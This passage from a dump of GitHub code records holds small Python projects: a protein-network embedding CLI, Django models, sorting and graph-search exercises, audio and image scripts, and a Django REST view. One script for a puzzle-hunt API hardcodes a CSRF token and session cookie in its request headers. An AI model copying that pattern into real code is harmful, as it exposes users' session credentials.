node2vec')\n parser.add_argument('--fake_embedder', action='store_true',\n help='If set, generate fake embedding')\n parser.add_argument('--skip_logging', action='store_true',\n help='If set, output.log, error.log '\n 'files will not be created')\n parser.add_argument('--logconf', default=None,\n help='Path to python logging configuration file in '\n 'this format: https://docs.python.org/3/library/'\n 'logging.config.html#logging-config-fileformat '\n 'Setting this overrides -v parameter which uses '\n ' default logger. (default None)')\n parser.add_argument('--verbose', '-v', action='count', default=0,\n help='Increases verbosity of logger to standard '\n 'error for log messages in this module. Messages are '\n 'output at these python logging levels '\n '-v = ERROR, -vv = WARNING, -vvv = INFO, '\n '-vvvv = DEBUG, -vvvvv = NOTSET (default no '\n 'logging)')\n parser.add_argument('--version', action='version',\n version=('%(prog)s ' +\n cellmaps_ppi_embedding.__version__))\n\n return parser.parse_args(args)\n\n\ndef main(args):\n \"\"\"\n Main entry point for program\n\n :param args: arguments passed to command line usually :py:func:`sys.argv[1:]`\n :type args: list\n\n :return: return value of :py:meth:`cellmaps_ppi_embedding.runner.CellMapsPPIEmbedder.run`\n or ``2`` if an exception is raised\n :rtype: int\n \"\"\"\n desc = \"\"\"\n Version {version}\n\n Invokes run() method on CellMapsPPIEmbedder\n\n \"\"\".format(version=cellmaps_ppi_embedding.__version__)\n theargs = _parse_arguments(desc, args[1:])\n theargs.program = args[0]\n theargs.version = cellmaps_ppi_embedding.__version__\n\n try:\n logutils.setup_cmd_logging(theargs)\n if theargs.fake_embedder is True:\n gen = FakeEmbeddingGenerator(theargs.inputdir,\n dimensions=theargs.dimensions)\n else:\n gen = Node2VecEmbeddingGenerator(nx_network=nx.read_edgelist(CellMapsPPIEmbedder.get_apms_edgelist_file(theargs.inputdir),\n delimiter='\\t'),\n dimensions=theargs.dimensions,\n p=theargs.p,\n q=theargs.q,\n walk_length=theargs.walk_length,\n num_walks=theargs.num_walks,\n workers=theargs.workers)\n\n return CellMapsPPIEmbedder(outdir=theargs.outdir,\n embedding_generator=gen,\n skip_logging=theargs.skip_logging,\n inputdir=theargs.inputdir,\n input_data_dict=theargs.__dict__).run()\n except Exception as e:\n logger.exception('Caught exception: ' + str(e))\n return 2\n finally:\n logging.shutdown()\n\n\nif __name__ == '__main__': # pragma: no cover\n sys.exit(main(sys.argv))\n","repo_name":"idekerlab/cellmaps_ppi_embedding","sub_path":"cellmaps_ppi_embedding/cellmaps_ppi_embeddingcmd.py","file_name":"cellmaps_ppi_embeddingcmd.py","file_ext":"py","file_size_in_byte":5264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73648813227","text":"import datetime\n\nfrom django.db import models\nfrom waffle.models import AbstractUserFlag\n\n\nclass Flag(AbstractUserFlag):\n \"\"\"Customizable version of Waffle's Flag model.\"\"\"\n\n\nclass DaysOfWeekModel(models.Model):\n \"\"\"A model that includes the days of the week\"\"\"\n\n class Meta:\n abstract = True\n\n # Instead of bringing in django-bitfield, do this directly\n # since the use case is constrained to seven values.\n MONDAY = 1\n TUESDAY = 2\n WEDNESDAY = 4\n THURSDAY = 8\n FRIDAY = 16\n SATURDAY = 32\n SUNDAY = 64\n WEEK = (MONDAY, TUESDAY, WEDNESDAY, THURSDAY, FRIDAY, SATURDAY, SUNDAY)\n\n days_of_week = models.PositiveIntegerField(\n help_text=\"The days of the week when this runs\",\n default=MONDAY + TUESDAY + WEDNESDAY + THURSDAY + FRIDAY,\n )\n\n # Lookup table to convert a date into the model representation of day.\n date_to_day = {\n 1: MONDAY,\n 2: TUESDAY,\n 3: WEDNESDAY,\n 4: THURSDAY,\n 5: FRIDAY,\n 6: SATURDAY,\n 7: SUNDAY,\n }\n\n def get_week_dates_for(self, week):\n \"\"\"Get the list of week dates that the record runs on for the given week.\n Week is a range tuple in the form of (monday, sunday).\n \"\"\"\n week_date = week[0]\n week_dates = []\n for day in self.WEEK:\n if self.runs_on(day):\n week_dates.append(week_date)\n week_date += datetime.timedelta(days=1)\n return week_dates\n\n def runs_on(self, day):\n \"\"\"Check if a school year runs on the given day.\n Days of week is a bit field and day acts as a bitmask.\n \"\"\"\n if isinstance(day, datetime.date):\n day = self.date_to_day[day.isoweekday()]\n return bool(self.days_of_week & day)\n\n def get_previous_day_from(self, day: datetime.date) -> datetime.date:\n \"\"\"Get the previous day that runs relative to the provided date.\n Return the same date if the record runs on no days.\n \"\"\"\n # Guard against an infinite loop.\n # A record with no running days will never terminate.\n if not self.days_of_week:\n return day\n\n previous_day = day - datetime.timedelta(days=1)\n while not self.runs_on(previous_day):\n previous_day -= datetime.timedelta(days=1)\n return previous_day\n\n def get_next_day_from(self, day: datetime.date) -> datetime.date:\n \"\"\"Get the next day that runs relative to the provided date.\n Return the same date if the record runs on no days.\n \"\"\"\n # Guard against an infinite loop.\n # A record with no running days will never terminate.\n if not self.days_of_week:\n return day\n\n next_day = day + datetime.timedelta(days=1)\n while not self.runs_on(next_day):\n next_day += datetime.timedelta(days=1)\n return next_day","repo_name":"Lelouchyagami/homeschool","sub_path":"homeschool/core/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36743908024","text":"#!/usr/bin/python3\n# -*- coding: UTF-8 -*-\n\nfrom typing import List\n\n\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass Solution:\n def __init__(self):\n self.sum = 0\n\n def getSum(self, root: TreeNode, current: int):\n if root.left is None and root.right is None:\n self.sum += current + root.val\n if root.left is not None:\n self.getSum(root.left, (current + root.val) * 10)\n if root.right is not None:\n self.getSum(root.right, (current + root.val) * 10)\n\n def sumNumbers(self, root: TreeNode) -> int:\n if root is None:\n return 0\n self.getSum(root, 0)\n return self.sum\n\n\ndef main():\n s = Solution()\n tree_list = [TreeNode(i) for i in [1, 2, 3]]\n tree_list[0].left = tree_list[1]\n tree_list[0].right = tree_list[2]\n ans = s.sumNumbers(tree_list[0])\n print(ans)\n return\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"HUSTWillHe/MyLeetCode","sub_path":"solutions/129_sum_numbers.py","file_name":"129_sum_numbers.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"44784643358","text":"from enum import IntEnum, unique\n\nclass BattleFormData():\n\tdef __init__(self, enumid, name, flowsintolist):\n\t\tself.enumid = enumid\n\t\tself.name = name\n\t\tself.flows = flowsintolist[:]\n\n\tdef __str__(self):\n\t\treturn self.name\n\n@unique\nclass BattleFormEnum(IntEnum):\n\toceanking = 1\n\tmountainman = 2\n\tforestguardian = 3\n\tthundergod = 4\n\tsunemporer = 5\n\tmoonempress = 6\n\tfreespirit = 7\n\tjustlaw = 8\n\teternalsky = 9\n\tmotherslove = 10\n\tfathomlessabyss = 11\n\tstillmind = 12\n\n'''\n~~~~~~~ FORM NOTES ~~~~~~~~~~\n\n- flow only matters when changing forms -- forms essentially flow into themselves (not explicitly)\n- if you don't flow, your priority drops by 1. If your \nattack move has +1 priority, it's instead zero.\n- pokemon types average 3.5 super effective per type (between 2 and 5), out of ~16\n\t-> FLOWSTO range from 2 to 5\n- pokemon types range from 1 to 7 weaknesses\n\t-> FLOWSFROM range from 1 to 7\n\n- do you flow from your previous attack, or your opponent's??\n\t* kinda lame if it's opponent's, since it's reactive and harder to plan?\n\t* harder to devise a fool-proof strategy ahead of time, for same reason, which is cool\n\n'''\n\nBATTLEFORM_DICT = {}\n\n'''\n# FLOWSTO MIN: 1 MAX: 4\n# FLOWSFROM MIN: 2 MAX: 6\n\nBATTLEFORM_DICT[BattleFormEnum.oceanking] = BattleFormData(\n\tBattleFormEnum.oceanking,\n\t'Ocean King',\n\t[\n\t\tBattleFormEnum.eternalsky,\n\t\tBattleFormEnum.fathomlessabyss,\n\t\tBattleFormEnum.forestguardian\n\t])\nBATTLEFORM_DICT[BattleFormEnum.mountainman] = BattleFormData(\n\tBattleFormEnum.mountainman,\n\t'Mountain Man',\n\t[\n\t\tBattleFormEnum.oceanking,\n\t\tBattleFormEnum.justlaw,\n\t\tBattleFormEnum.fathomlessabyss\n\t])\nBATTLEFORM_DICT[BattleFormEnum.forestguardian] = BattleFormData(\n\tBattleFormEnum.forestguardian,\n\t'Forest Guardian',\n\t[\n\t\tBattleFormEnum.mountainman,\n\t\tBattleFormEnum.freespirit,\n\t\tBattleFormEnum.stillmind\n\t])\nBATTLEFORM_DICT[BattleFormEnum.thundergod] = BattleFormData(\n\tBattleFormEnum.thundergod,\n\t'Thunder God',\n\t[\n\t\tBattleFormEnum.oceanking,\n\t\tBattleFormEnum.mountainman,\n\t\tBattleFormEnum.forestguardian\n\t])\nBATTLEFORM_DICT[BattleFormEnum.sunemporer] = BattleFormData(\n\tBattleFormEnum.sunemporer,\n\t'Sun Emporer',\n\t[\n\t\tBattleFormEnum.forestguardian,\n\t\tBattleFormEnum.fathomlessabyss,\n\t\tBattleFormEnum.moonempress\n\t])\nBATTLEFORM_DICT[BattleFormEnum.moonempress] = BattleFormData(\n\tBattleFormEnum.moonempress,\n\t'Moon Empress',\n\t[\n\t\tBattleFormEnum.oceanking,\n\t\tBattleFormEnum.motherslove,\n\t\tBattleFormEnum.fathomlessabyss\n\t])\nBATTLEFORM_DICT[BattleFormEnum.freespirit] = BattleFormData(\n\tBattleFormEnum.freespirit,\n\t'Free Spirit',\n\t[\n\t\tBattleFormEnum.stillmind,\n\t\tBattleFormEnum.motherslove,\n\t\tBattleFormEnum.mountainman,\n\t\tBattleFormEnum.eternalsky\n\t])\nBATTLEFORM_DICT[BattleFormEnum.justlaw] = BattleFormData(\n\tBattleFormEnum.justlaw,\n\t'Just Law',\n\t[\n\t\tBattleFormEnum.freespirit,\n\t\tBattleFormEnum.forestguardian,\n\t\tBattleFormEnum.moonempress,\n\t\tBattleFormEnum.motherslove\n\t])\nBATTLEFORM_DICT[BattleFormEnum.eternalsky] = BattleFormData(\n\tBattleFormEnum.eternalsky,\n\t'Eternal Sky',\n\t[\n\t\tBattleFormEnum.fathomlessabyss,\t\n\t\tBattleFormEnum.thundergod,\n\t\tBattleFormEnum.sunemporer,\n\t\tBattleFormEnum.moonempress\n\t])\nBATTLEFORM_DICT[BattleFormEnum.motherslove] = BattleFormData(\n\tBattleFormEnum.motherslove,\n\t'Mother\\'s Love',\n\t[\n\t\tBattleFormEnum.thundergod,\n\t\tBattleFormEnum.moonempress,\n\t\tBattleFormEnum.justlaw\n\t])\nBATTLEFORM_DICT[BattleFormEnum.fathomlessabyss] = BattleFormData(\n\tBattleFormEnum.fathomlessabyss,\n\t'Fathomless Abyss',\n\t[\n\t\tBattleFormEnum.sunemporer\n\t])\nBATTLEFORM_DICT[BattleFormEnum.stillmind] = BattleFormData(\n\tBattleFormEnum.stillmind,\n\t'Still Mind',\n\t[\n\t\tBattleFormEnum.justlaw,\n\t\tBattleFormEnum.forestguardian,\n\t\tBattleFormEnum.fathomlessabyss,\n\t\tBattleFormEnum.eternalsky\n\t])\n\n'''\n\nBATTLEFORM_DICT[BattleFormEnum.oceanking] = BattleFormData(\n\tBattleFormEnum.oceanking,\n\t'Ocean King',\n\t[\n\t\tBattleFormEnum.eternalsky,\n\t\tBattleFormEnum.forestguardian,\n\t\tBattleFormEnum.stillmind\n\t])\nBATTLEFORM_DICT[BattleFormEnum.mountainman] = BattleFormData(\n\tBattleFormEnum.mountainman,\n\t'Mountain Man',\n\t[\n\t\tBattleFormEnum.oceanking\n\t])\nBATTLEFORM_DICT[BattleFormEnum.forestguardian] = BattleFormData(\n\tBattleFormEnum.forestguardian,\n\t'Forest Guardian',\n\t[\n\t\tBattleFormEnum.mountainman,\n\t\tBattleFormEnum.freespirit\n\t])\nBATTLEFORM_DICT[BattleFormEnum.thundergod] = BattleFormData(\n\tBattleFormEnum.thundergod,\n\t'Thunder God',\n\t[\n\t\tBattleFormEnum.oceanking,\n\t\tBattleFormEnum.mountainman\n\t])\nBATTLEFORM_DICT[BattleFormEnum.sunemporer] = BattleFormData(\n\tBattleFormEnum.sunemporer,\n\t'Sun Emporer',\n\t[\n\t\tBattleFormEnum.forestguardian,\n\t\tBattleFormEnum.moonempress\n\t])\nBATTLEFORM_DICT[BattleFormEnum.moonempress] = BattleFormData(\n\tBattleFormEnum.moonempress,\n\t'Moon Empress',\n\t[\n\t\tBattleFormEnum.oceanking,\n\t\tBattleFormEnum.motherslove\n\t])\nBATTLEFORM_DICT[BattleFormEnum.freespirit] = BattleFormData(\n\tBattleFormEnum.freespirit,\n\t'Free Spirit',\n\t[\n\t\tBattleFormEnum.stillmind,\n\t\tBattleFormEnum.motherslove\n\t])\nBATTLEFORM_DICT[BattleFormEnum.justlaw] = BattleFormData(\n\tBattleFormEnum.justlaw,\n\t'Just Law',\n\t[\n\t\tBattleFormEnum.freespirit,\n\t\tBattleFormEnum.moonempress\n\t])\nBATTLEFORM_DICT[BattleFormEnum.eternalsky] = BattleFormData(\n\tBattleFormEnum.eternalsky,\n\t'Eternal Sky',\n\t[\n\t\tBattleFormEnum.thundergod,\n\t\tBattleFormEnum.sunemporer,\n\t\tBattleFormEnum.moonempress\n\t])\nBATTLEFORM_DICT[BattleFormEnum.motherslove] = BattleFormData(\n\tBattleFormEnum.motherslove,\n\t'Mother\\'s Love',\n\t[\n\t\tBattleFormEnum.moonempress,\n\t\tBattleFormEnum.justlaw\n\t])\nBATTLEFORM_DICT[BattleFormEnum.fathomlessabyss] = BattleFormData(\n\tBattleFormEnum.fathomlessabyss,\n\t'Fathomless Abyss',\n\t[\n\t])\nBATTLEFORM_DICT[BattleFormEnum.stillmind] = BattleFormData(\n\tBattleFormEnum.stillmind,\n\t'Still Mind',\n\t[\n\t\tBattleFormEnum.justlaw,\n\t\tBattleFormEnum.fathomlessabyss\n\t])\n\ndef analyze(printloops):\n\ttextlength = 0\n\tprint()\n\tallLoops = 0\n\tif (printloops):\n\t\tprint('\\tFLOWSTO\\t\\tFLOWSFROM\\tLOOPS\\t\\tNAME')\n\t\tallLoops = detectloops()\n\t\ttextlength = 18\n\telse:\n\t\tprint('\\tFLOWSTO\\t\\tFLOWSFROM\\tNAME')\n\t\ttextlength = 16\n\trow = 0\n\tflowtorange = [len(BATTLEFORM_DICT), 0]\n\tflowfromrange = [len(BATTLEFORM_DICT), 0]\n\tflowstosum = 0\n\tflowsfromsum = 0\n\tfor key in BATTLEFORM_DICT:\n\t\tif row%3==0:\n\t\t\tprint()\n\t\trow += 1\n\n\t\tform = BATTLEFORM_DICT[key]\n\n\t\tflowsto = len(form.flows)\n\t\t# set range of flowsto\n\t\tif (flowsto < flowtorange[0]):\n\t\t\tflowtorange[0] = flowsto\n\t\tif (flowsto > flowtorange[1]):\n\t\t\tflowtorange[1] = flowsto\n\t\tflowstosum += flowsto\n\n\t\tflowsfrom = 0\n\t\tfor key2 in BATTLEFORM_DICT:\n\t\t\tfromform = BATTLEFORM_DICT[key2]\n\t\t\tif (form.enumid in fromform.flows):\n\t\t\t\tflowsfrom += 1\n\t\t# set range of flowsfrom\n\t\tif (flowsfrom < flowfromrange[0]):\n\t\t\tflowfromrange[0] = flowsfrom\n\t\tif (flowsfrom > flowfromrange[1]):\n\t\t\tflowfromrange[1] = flowsfrom\n\t\tflowsfromsum += flowsfrom\n\n\t\tif (printloops):\n\t\t\tloops = 0\n\t\t\tfor loop in allLoops:\n\t\t\t\tif key in loop:\n\t\t\t\t\tloops += 1\n\t\t\tprint('\\t%d\\t\\t%d\\t\\t%d\\t\\t%s' % (flowsto, flowsfrom, loops, form.name))\n\t\telse:\n\t\t\tprint('\\t%d\\t\\t%d\\t\\t%s' % (flowsto, flowsfrom, form.name))\n\tprint()\n\tavgflowto = flowstosum/float(len(BATTLEFORM_DICT))\n\tprint('FLOWSTO(+self)\\t\\tMIN: %d(%d)\\tMAX: %d(%d)\\tAVG: %.2f(~%d)' % (\n\t\tflowtorange[0], flowtorange[0]+1, flowtorange[1], flowtorange[1]+1, \n\t\tavgflowto, int(avgflowto+1.5)))\n\tprint('FLOWSFROM(+self)\\tMIN: %d(%d)\\tMAX: %d(%d)' % (\n\t\tflowfromrange[0], flowfromrange[0]+1, flowfromrange[1], flowfromrange[1]+1))\n\tprint()\n\n\tif (printloops):\n\t\tprint()\n\t\tprint('LOOPS')\n\t\tprint()\n\t\tfor i in range(len(allLoops)):\n\t\t\tprint('~~~ #%d ~~~' % i)\n\t\t\tprintloop(allLoops[i])\n\t\t\tprint()\n\n\t\tprint()\n\ndef printloop(loop):\n\tresult = ''\n\tfor i in range(len(loop)):\n\t\tnode = loop[i]\n\t\tresult += '%s ->' % BATTLEFORM_DICT[node].name\n\t\tresult += '\\n' + ' '*(i+1)\n\tresult += '...'\n\tprint(result)\n\ndef cycleequal(cyc1, cyc2):\n\tlength = len(cyc1)\n\tlen2 = len(cyc2)\n\tif (length == 0 or len2 == 0 or length != len2):\n\t\treturn False\n\tshift = -1\n\ttry:\n\t\tshift = cyc2.index(cyc1[0])\n\texcept:\n\t\tpass\n\tif (shift < 0):\n\t\treturn False\n\tfor i in range(len(cyc1)):\n\t\tshiftedindex = (shift+i)%length\n\t\tif (cyc2[shiftedindex] != cyc1[i]):\n\t\t\treturn False\n\treturn True\n\n# build tree, keep track of flows, parents, and form. \n# If flow is in parents, remove. If flow is form, add to loop.\ndef detectloops():\n\tloops = []\n\tfor head in BATTLEFORM_DICT.values():\n\t\ttree = buildtree([head.enumid])\n\t\tloops.extend(tree)\n\n\trepeatloops = {}\n\tfor i in range(len(loops)):\n\t\trepeatloops[i] = []\n\t\tfor j in range(len(loops)):\n\t\t\tif i != j:\n\t\t\t\tif (cycleequal(loops[i], loops[j])):\n\t\t\t\t\trepeatloops[i].append(j)\n\n\tresult = []\n\trepeat = []\n\tfor key in repeatloops:\n\t\tif (key not in repeat):\n\t\t\tresult.append(loops[key])\n\t\t\trepeat.extend(repeatloops[key])\n\n\treturn result\n\ndef buildtree(path):\n\tresult = []\n\tparent = path[-1]\n\tchildren = BATTLEFORM_DICT[parent].flows\n\tfor child in children:\n\t\tchildindex = -1\n\t\ttry:\n\t\t\tchildindex = path.index(child)\n\t\texcept:\n\t\t\tpass\n\t\tif childindex >= 0:\n\t\t\tresult.append(path[childindex:])\n\t\telse:\n\t\t\tresult.extend(buildtree(path+[child]))\n\treturn result\n\n\nif __name__=='__main__':\n\tloops = input('loops? (y/n): ')\n\tif (loops == 'y'):\n\t\tanalyze(True)\n\telse:\n\t\tanalyze(False)","repo_name":"mkdir-not-war/karate","sub_path":"battleforms.py","file_name":"battleforms.py","file_ext":"py","file_size_in_byte":9123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3413745381","text":"def medianofthreequick_sort(arr):\n if len(arr) <= 1:\n return arr\n\n mid = len(arr) // 2\n high = len(arr) - 1\n low = 0\n if arr[low] > arr[mid]:\n arr[low], arr[mid] = arr[mid], arr[low]\n if arr[low] > arr[high]:\n arr[low], arr[high] = arr[high], arr[low]\n if arr[mid] > arr[high]:\n arr[mid], arr[high] = arr[high], arr[mid]\n\n pivot = arr[mid]\n\n left = [x for x in arr if x < pivot]\n middle = [x for x in arr if x == pivot]\n right = [x for x in arr if x > pivot]\n\n return medianofthreequick_sort(left) + middle + medianofthreequick_sort(right)\n\n\nif __name__ == \"__main__\":\n import random\n import time\n import tracemalloc\n\n t, m = [], []\n\n for i in range(64):\n rand = [random.randint(0, 100000) for _ in range(100000)]\n arr = rand.copy()\n start = time.time()\n arr = medianofthreequick_sort(arr)\n end = time.time()\n t.append(end - start)\n print(\"Time Routine:\", i, sorted(rand) == arr)\n\n for i in range(64):\n rand = [random.randint(0, 100000) for _ in range(100000)]\n arr = rand.copy()\n tracemalloc.start()\n arr = medianofthreequick_sort(arr)\n current, peak = tracemalloc.get_traced_memory()\n tracemalloc.stop()\n m.append(peak)\n print(\"Memory Routine:\", i, sorted(rand) == arr)\n\n print(\"[IntroSort]\")\n\n print(\"Best time(ms): \", min(t) * 1000)\n print(\"Worst time(ms): \", max(t) * 1000)\n print(\"Average time(ms): \", sum(t) / len(t) * 1000)\n\n print(\"Best space(bytes): \", min(m))\n print(\"Worst space(bytes): \", max(m))\n print(\"Average space(bytes): \", sum(m) / len(m))\n","repo_name":"ryankwondev/Adaptive-Partition-Sort","sub_path":"sorting/medianofthreequicksort.py","file_name":"medianofthreequicksort.py","file_ext":"py","file_size_in_byte":1668,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"24406376360","text":"# -*- coding: utf-8 -*-\n\n\ndef looping_challenge_one():\n \"\"\"Print the numbers 1 - 10 using a loop\n\n Please print each number on a separate line\n ex:\n 1\n 2\n 3\n ...\n \"\"\"\n numbers = range(1, 11)\n for number in numbers:\n print(number)\n\n\ndef looping_challenge_two():\n \"\"\"Given the variable colors_of_the_rainbow\n\n Please print every other color on a separate line\n \"\"\"\n colors_of_the_rainbow = ['Violet', 'Indigo', 'Blue', 'Green', 'Yellow', 'Orange', 'Red']\n index = 0\n list_size = len(colors_of_the_rainbow)\n while index < list_size:\n if index % 2 == 0:\n print(colors_of_the_rainbow[index])\n index += 1\n\n\ndef looping_challenge_three():\n \"\"\"Print the following on separate lines\n\n The numbers 1 - 4 in acceding order\n The numbers 4 - 1 in descending order\n\n * Bonus points: accomplish this with only one list that contains only 4 elements\n \"\"\"\n\n numbers = [1, 2, 3, 4]\n ascending = sorted(numbers)\n descending = sorted(numbers, reverse=True)\n for number in ascending:\n print(number)\n for number in descending:\n print(number)\n","repo_name":"WorldPolice/python_practice","sub_path":"python_practice/looping.py","file_name":"looping.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"765233190","text":"import cv2\nimport numpy as np\nimg_gray = cv2.imread('C:\\Ai\\Assignment 1\\tranmodel\\test\\Audi\\23.jpg', 0)\nimg_new = cv2.resize(img_gray, (128,128), cv2.INTER_AREA)\nwin_size = img_new.shape\ncell_size = (8, 8)\nblock_size = (16, 16)\nblock_stride = (8, 8)\nnum_bins = 9\nhog = cv2.HOGDescriptor(win_size, block_size, block_stride,\ncell_size, num_bins)\nhog_descriptor = hog.compute(img_new)\nprint ('HOG Descriptor:', hog_descriptor)","repo_name":"ArtSosit/ImageFeature","sub_path":"app/hog.py","file_name":"hog.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"43187899375","text":"import argparse\nimport csv\nimport os\nimport random\n\nimport numpy as np\nimport julius\nimport miniaudio\nimport torch\nimport tqdm\n\nTOTAL_HOURS = 2.3\nTOTAL_SECS = TOTAL_HOURS * 3600\nNEW_SAMPLE_RATE = 8000\n\ndef gen_clips(noise_dir, noises, out_dir, out_type, total_secs):\n longs = 0\n wham_list = []\n out_dir = os.path.join(out_dir, out_type)\n os.makedirs(out_dir, exist_ok=True)\n with tqdm.tqdm(total=total_secs) as t:\n for name in noises:\n info = miniaudio.wav_read_file_f32(os.path.join(noise_dir, name))\n du = info.duration\n wham_list.append([os.path.join(out_type, name), du])\n longs += du\n with open(os.path.join(noise_dir, name), 'rb') as fin:\n code = fin.read()\n with open(os.path.join(out_dir, name), 'wb') as fout:\n fout.write(code)\n if longs >= total_secs:\n break\n t.update(du)\n with open(os.path.join(out_dir, 'list.csv'), 'w', encoding='utf8', newline='\\n') as fout:\n writer = csv.writer(fout)\n writer.writerows(wham_list)\n return wham_list\n\nif __name__ == '__main__':\n args = argparse.ArgumentParser()\n args.add_argument('--wham', required=True)\n args.add_argument('--audioset', required=True)\n args = args.parse_args()\n \n wham_dir = os.path.join(args.wham, 'tr')\n noises = os.listdir(wham_dir)\n random.shuffle(noises)\n lst = gen_clips(wham_dir, noises, args.audioset, 'tr', TOTAL_SECS * 0.8)\n \n wham_dir = os.path.join(args.wham, 'cv')\n noises = os.listdir(wham_dir)\n random.shuffle(noises)\n lst = gen_clips(wham_dir, noises, args.audioset, 'cv', TOTAL_SECS * 0.2)\n","repo_name":"stdio2016/pfann","sub_path":"tools/wham.py","file_name":"wham.py","file_ext":"py","file_size_in_byte":1691,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"21"} +{"seq_id":"33375128900","text":"import json\r\nimport requests\r\n\r\n# get all puzzles\r\n\r\nheaders = {\r\n 'X-CSRFToken': 'qtbUZJe1cqMmkqbTzLOJSrkKFlzBPz9HpzaYtjJegqALr1xfwmE7xB3ikUIT5RDL',\r\n 'cookie': 'csrftoken=qtbUZJe1cqMmkqbTzLOJSrkKFlzBPz9HpzaYtjJegqALr1xfwmE7xB3ikUIT5RDL; sessionid=v7iyw3tdrz8cvpdoj9yj45km27cjaefb',\r\n 'content-type': 'application/json'\r\n}\r\n\r\nr = requests.get(\r\n 'http://localhost:8000/api/v1/hunts/1/puzzles',\r\n headers=headers)\r\n\r\ndata = r.json()\r\nwhile len(data) > 0:\r\n print(str(len(data)) + \" puzzles to delete\")\r\n\r\n for puz in data:\r\n id = puz['id']\r\n requests.delete(\r\n f'http://localhost:8000/api/v1/hunts/1/puzzles/{id}',\r\n headers=headers)\r\n\r\n r = requests.get(\r\n 'http://localhost:8000/api/v1/hunts/1/puzzles',\r\n headers=headers)\r\n data = r.json()\r\n","repo_name":"erwa/smallboard-scripts","sub_path":"delete_all_puzzles.py","file_name":"delete_all_puzzles.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21585789722","text":"import math\nclass Node:\n def __init__(self,parent,name,heuristicCost,visited):\n self.parent = parent\n self.name = name\n self.heuristicCost = heuristicCost\n self.visited = visited\n\nclass Graph:\n\n def __init__(self,graph,heuristic,start,goal):\n self.nodeList = []\n for node in graph:\n self.nodeList.append(Node(None,node,heuristic[node],False))\n self.graph = self.convertedGraph(graph)\n self.start = start\n self.goal = goal\n\n def convertedGraph(self,graph):\n new_map = {}\n for node in graph:\n ls = []\n for leaf in graph[node]:\n ls.append(self.getNode(leaf))\n new_map[self.getNode(node)] = ls\n return new_map\n\n\n def getNode(self,name):\n for node in self.nodeList:\n if node.name is name:\n return node\n\n def printResult(self):\n res = []\n node = self.getNode(self.goal)\n while node.parent is not None:\n res.append(node.name)\n node = node.parent\n res.append(self.getNode(self.start).name)\n res.reverse()\n print('Path: ',end='')\n for i in res:\n print(i,'-> ',end='')\n\ndef getPriorityNode(listOfNode):\n maxValue = math.inf\n priorityNode = None\n for node in listOfNode:\n if node.heuristicCost < maxValue:\n priorityNode = node\n maxValue = node.heuristicCost\n listOfNode.remove(priorityNode)\n return priorityNode\n\ndef isEmpty(ls):\n if len(ls) is 0:\n return True\n return False\n\ndef chechExistenceInOpen(open,node):\n for n in open:\n if n.name is node.name:\n return True\n return False\n\ndef chechExistenceInClosed(closed,node):\n for n in closed:\n if n.name is node.name:\n return True\n return False\n\n\ndef GBFS(grp):\n openSet = []\n closedSet = []\n succes = False\n node = grp.getNode('S')\n openSet.append(node)\n while isEmpty(openSet) is not True:\n node = getPriorityNode(openSet)\n if node.name is grp.goal:\n succes = True\n break\n closedSet.append(node)\n for mNode in grp.graph[node]:\n if chechExistenceInOpen(openSet,mNode) is not True and chechExistenceInClosed(closedSet,mNode) is not True:\n mNode.parent = node\n openSet.append(mNode)\n if succes:\n grph.printResult()\n else:\n print('Path Not Found')\n\n\ngp = {\n 'A':['B','C'],\n 'B':['D'],\n 'C':['D','G'],\n 'D':['G'],\n 'G':[],\n 'S':['A','G']\n}\nheuristic_Cost = {'A':15,'B':7,'C':8,'D':6,'G':0,'S':20}\ngrph = Graph(gp,heuristic_Cost,'S','D')\nGBFS(grph)\n","repo_name":"kakanghosh/Artificial-Intelligence","sub_path":"GBFS/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":2708,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"22695611011","text":"\r\nimport cv2\r\nimport requests\r\ndef get_frame():\r\n vid = cv2.VideoCapture(0)\r\n frames = []\r\n while True:\r\n ret,frame = vid.read()\r\n cv2.imshow('frame',frame)\r\n frames.append(frame)\r\n if cv2.waitKey(1) & 0xFF == ord('q'):\r\n break\r\n vid.release()\r\n cv2.destroyAllWindows()\r\n return frames\r\n\r\n\r\n","repo_name":"angrysine/Atividade_ponderada_m6_4","sub_path":"computer_vision.py","file_name":"computer_vision.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34976453621","text":"from asyncio.log import logger\nfrom functools import partial\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom .serializers import EmployeeSerializers, SignupSerializers\nfrom .models import Employee\nfrom rest_framework import status\nfrom django.contrib.auth.models import User\nfrom rest_framework.generics import CreateAPIView\nfrom rest_framework_simplejwt.authentication import JWTAuthentication\nfrom rest_framework.permissions import IsAuthenticated\nimport logging\nfrom project1.settings import LOGGING\n\nlogging = logging.getLogger('django')\nprint(__name__)\n\n\nclass EmployeeApiView(APIView):\n\n def post(self, request):\n\n serializer = EmployeeSerializers(data=request.data)\n if serializer.is_valid():\n serializer.save()\n logging.info('Posting Data')\n return Response(data=serializer.data, status=201)\n logging.info(\n 'Data is Not Valid>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>')\n return Response(data=serializer.errors, status=400)\n\n def get(self, request):\n queryset = 